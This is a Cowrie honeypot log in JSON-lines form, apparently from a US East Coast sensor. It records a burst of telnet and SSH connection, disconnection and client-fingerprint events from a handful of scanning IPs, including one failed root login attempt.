{"eventid":"cowrie.session.closed","duration":30.201274871826172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.146590Z","src_ip":"155.117.234.131","session":"c8ac92478cb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656429767608643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.198478Z","src_ip":"94.23.163.94","session":"3632fcd0bc3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731457948684692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.345662Z","src_ip":"94.23.163.94","session":"47088f9228cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae19db6a80a2","protocol":"telnet","message":"New connection: 5.189.169.71:39886 (10.17.0.5:23) [session: ae19db6a80a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.366341Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46076,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb9ace332b6","protocol":"telnet","message":"New connection: 213.136.75.179:46076 (10.17.0.5:23) [session: deb9ace332b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.949385Z"}
{"eventid":"cowrie.session.closed","duration":30.545941591262817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:51.048779Z","src_ip":"94.23.163.94","session":"58ef19c760c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54938,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6e7c948388","protocol":"telnet","message":"New connection: 94.23.163.94:54938 (10.17.0.5:23) [session: bb6e7c948388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:51.293333Z"}
{"eventid":"cowrie.session.closed","duration":32.58362364768982,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:51.315869Z","src_ip":"213.136.75.179","session":"ab2333775ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.27630376815796,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:51.770497Z","src_ip":"23.254.167.244","session":"c766a56494d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46082,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a6f5dc89f74","protocol":"telnet","message":"New connection: 213.136.75.179:46082 (10.17.0.5:23) [session: 4a6f5dc89f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:51.819323Z"}
{"eventid":"cowrie.session.closed","duration":30.40942358970642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.086469Z","src_ip":"155.117.234.131","session":"331e4f1fbcc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46086,"dst_ip":"10.17.0.5","dst_port":23,"session":"671a86d91df2","protocol":"telnet","message":"New connection: 213.136.75.179:46086 (10.17.0.5:23) [session: 671a86d91df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.168561Z"}
{"eventid":"cowrie.session.closed","duration":30.456047773361206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.394078Z","src_ip":"94.23.163.94","session":"4b9556385e7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"aff7c0424287","protocol":"telnet","message":"New connection: 155.117.234.131:39886 (10.17.0.5:23) [session: aff7c0424287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.421580Z"}
{"eventid":"cowrie.session.closed","duration":31.672036170959473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.537322Z","src_ip":"213.136.75.179","session":"6e71a67a2256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54942,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb3fef711482","protocol":"telnet","message":"New connection: 94.23.163.94:54942 (10.17.0.5:23) [session: fb3fef711482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.677147Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54946,"dst_ip":"10.17.0.5","dst_port":23,"session":"96bea21fd67f","protocol":"telnet","message":"New connection: 94.23.163.94:54946 (10.17.0.5:23) [session: 96bea21fd67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.731213Z"}
{"eventid":"cowrie.session.closed","duration":31.175249338150024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:52.792327Z","src_ip":"213.136.75.179","session":"c8b26d613d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389825105667114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:53.181787Z","src_ip":"213.136.75.179","session":"b73575bc57b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8fe0af3cf05","protocol":"telnet","message":"New connection: 94.23.163.94:41508 (10.17.0.5:23) [session: f8fe0af3cf05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:53.626499Z"}
{"eventid":"cowrie.session.closed","duration":30.792190313339233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.061294Z","src_ip":"94.23.163.94","session":"c599e0aba26e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44207215309143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.078360Z","src_ip":"94.23.163.94","session":"b17f099965d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727176666259766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.111185Z","src_ip":"94.23.163.94","session":"154bd3b09cd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.286462545394897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.131884Z","src_ip":"94.23.163.94","session":"08feda5325de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425514698028564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.299920Z","src_ip":"94.23.163.94","session":"e12d9f97a1c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791881322860718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.591414Z","src_ip":"213.136.75.179","session":"556673fc983e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.709264278411865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.631638Z","src_ip":"213.136.75.179","session":"d61a13e738be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34730,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4a41b050690","protocol":"ssh","message":"New connection: 176.65.139.103:34730 (10.17.0.5:22) [session: b4a41b050690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.691350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.697454Z","src_ip":"176.65.139.103","session":"b4a41b050690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.91762948036194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.742869Z","src_ip":"213.136.75.179","session":"3f8b87ffe8b5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.782320Z","src_ip":"176.65.139.103","session":"b4a41b050690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.265156984329224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.846568Z","src_ip":"213.136.75.179","session":"606f523676eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.256298542022705,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.937660Z","src_ip":"213.136.75.179","session":"c8e578a8d2f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31965780258179,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.989344Z","src_ip":"213.136.75.179","session":"d6a37cbdc33e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.924588680267334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:54.998430Z","src_ip":"94.23.163.94","session":"23afb7e317db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61301302909851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:55.004249Z","src_ip":"213.136.75.179","session":"19a48db1b525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38690948486328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:55.032242Z","src_ip":"213.136.75.179","session":"63e65aeb1209","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:55.042193Z","src_ip":"176.65.139.103","session":"b4a41b050690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.420159339904785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:55.391977Z","src_ip":"213.136.75.179","session":"72e618dd86d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07177209854126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:55.450225Z","src_ip":"213.136.75.179","session":"e918c2cb23f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:56.221718Z","src_ip":"176.65.139.103","session":"b4a41b050690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46088,"dst_ip":"10.17.0.5","dst_port":23,"session":"23fe882fce87","protocol":"telnet","message":"New connection: 213.136.75.179:46088 (10.17.0.5:23) [session: 23fe882fce87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:56.262962Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46104,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e661eff566d","protocol":"telnet","message":"New connection: 213.136.75.179:46104 (10.17.0.5:23) [session: 1e661eff566d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:56.517888Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46116,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99b73d7280e","protocol":"telnet","message":"New connection: 213.136.75.179:46116 (10.17.0.5:23) [session: f99b73d7280e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:56.706048Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41518,"dst_ip":"10.17.0.5","dst_port":23,"session":"487d74ef14ef","protocol":"telnet","message":"New connection: 94.23.163.94:41518 (10.17.0.5:23) [session: 487d74ef14ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:56.753577Z"}
{"eventid":"cowrie.session.closed","duration":31.82155156135559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.155644Z","src_ip":"213.136.75.179","session":"ac0caf00d584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68681502342224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.179245Z","src_ip":"213.136.75.179","session":"64701c7a52f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46128,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aa625372d19","protocol":"telnet","message":"New connection: 213.136.75.179:46128 (10.17.0.5:23) [session: 1aa625372d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.184045Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46140,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1fe34e4696","protocol":"telnet","message":"New connection: 213.136.75.179:46140 (10.17.0.5:23) [session: 5f1fe34e4696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.307780Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46152,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8414cd1b2f","protocol":"telnet","message":"New connection: 213.136.75.179:46152 (10.17.0.5:23) [session: 5a8414cd1b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.356074Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46162,"dst_ip":"10.17.0.5","dst_port":23,"session":"596260dc6490","protocol":"telnet","message":"New connection: 213.136.75.179:46162 (10.17.0.5:23) [session: 596260dc6490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.433148Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41532,"dst_ip":"10.17.0.5","dst_port":23,"session":"257cbdcc2ee8","protocol":"telnet","message":"New connection: 94.23.163.94:41532 (10.17.0.5:23) [session: 257cbdcc2ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.555155Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41536,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5b6eb9a673","protocol":"telnet","message":"New connection: 94.23.163.94:41536 (10.17.0.5:23) [session: 7b5b6eb9a673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.574492Z"}
{"eventid":"cowrie.session.closed","duration":33.95339250564575,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.684632Z","src_ip":"213.136.75.179","session":"9c57113040ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54051494598389,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:57.854763Z","src_ip":"213.136.75.179","session":"f54a2824db66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5451922416687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:58.133082Z","src_ip":"213.136.75.179","session":"26d0847146ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46780,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e633761719","protocol":"telnet","message":"New connection: 213.136.75.179:46780 (10.17.0.5:23) [session: 82e633761719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:58.451614Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46788,"dst_ip":"10.17.0.5","dst_port":23,"session":"69122a977fdd","protocol":"telnet","message":"New connection: 213.136.75.179:46788 (10.17.0.5:23) [session: 69122a977fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:58.747670Z"}
{"eventid":"cowrie.session.closed","duration":31.729836225509644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:58.759010Z","src_ip":"213.136.75.179","session":"b7b7817efa56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46792,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ec0a145902f","protocol":"telnet","message":"New connection: 213.136.75.179:46792 (10.17.0.5:23) [session: 7ec0a145902f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:58.813581Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":34578,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ecffead6963","protocol":"telnet","message":"New connection: 155.117.234.131:34578 (10.17.0.5:23) [session: 3ecffead6963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:58.929904Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41538,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb36e71eef5e","protocol":"telnet","message":"New connection: 94.23.163.94:41538 (10.17.0.5:23) [session: cb36e71eef5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:58.962561Z"}
{"eventid":"cowrie.session.closed","duration":30.36555290222168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:59.056016Z","src_ip":"5.189.169.71","session":"50cff843954d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46808,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c91bc80261","protocol":"telnet","message":"New connection: 213.136.75.179:46808 (10.17.0.5:23) [session: 87c91bc80261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:59.259732Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46810,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a3de6463b37","protocol":"telnet","message":"New connection: 213.136.75.179:46810 (10.17.0.5:23) [session: 9a3de6463b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:59.586407Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46824,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd9751c0e3c","protocol":"telnet","message":"New connection: 213.136.75.179:46824 (10.17.0.5:23) [session: 5cd9751c0e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:59.600700Z"}
{"eventid":"cowrie.session.closed","duration":31.63822913169861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:59.795892Z","src_ip":"213.136.75.179","session":"f39555774311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46832,"dst_ip":"10.17.0.5","dst_port":23,"session":"2729d8271388","protocol":"telnet","message":"New connection: 213.136.75.179:46832 (10.17.0.5:23) [session: 2729d8271388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:59.844609Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46846,"dst_ip":"10.17.0.5","dst_port":23,"session":"c60b8fd36a86","protocol":"telnet","message":"New connection: 213.136.75.179:46846 (10.17.0.5:23) [session: c60b8fd36a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:59.912082Z"}
{"eventid":"cowrie.session.closed","duration":30.469677448272705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:00.059823Z","src_ip":"94.23.163.94","session":"0e6df00b1406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46856,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b03a2fdb87","protocol":"telnet","message":"New connection: 213.136.75.179:46856 (10.17.0.5:23) [session: 35b03a2fdb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:00.066191Z"}
{"eventid":"cowrie.session.closed","duration":34.093955278396606,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:00.254402Z","src_ip":"213.136.75.179","session":"16d13c0044e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41540,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d357cc0b43b","protocol":"telnet","message":"New connection: 94.23.163.94:41540 (10.17.0.5:23) [session: 5d357cc0b43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:00.291512Z"}
{"eventid":"cowrie.session.closed","duration":32.52350378036499,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:00.535317Z","src_ip":"23.254.167.244","session":"6c16719a1c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46858,"dst_ip":"10.17.0.5","dst_port":23,"session":"970d0d7ad956","protocol":"telnet","message":"New connection: 213.136.75.179:46858 (10.17.0.5:23) [session: 970d0d7ad956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:00.965042Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":53322,"dst_ip":"10.17.0.5","dst_port":22,"session":"dee8f6d405f9","protocol":"ssh","message":"New connection: 80.94.92.182:53322 (10.17.0.5:22) [session: dee8f6d405f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:00.988647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:01.024560Z","src_ip":"80.94.92.182","session":"dee8f6d405f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.10397696495056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:01.041101Z","src_ip":"94.23.163.94","session":"97eee4abb0ed","protocol":"telnet"}
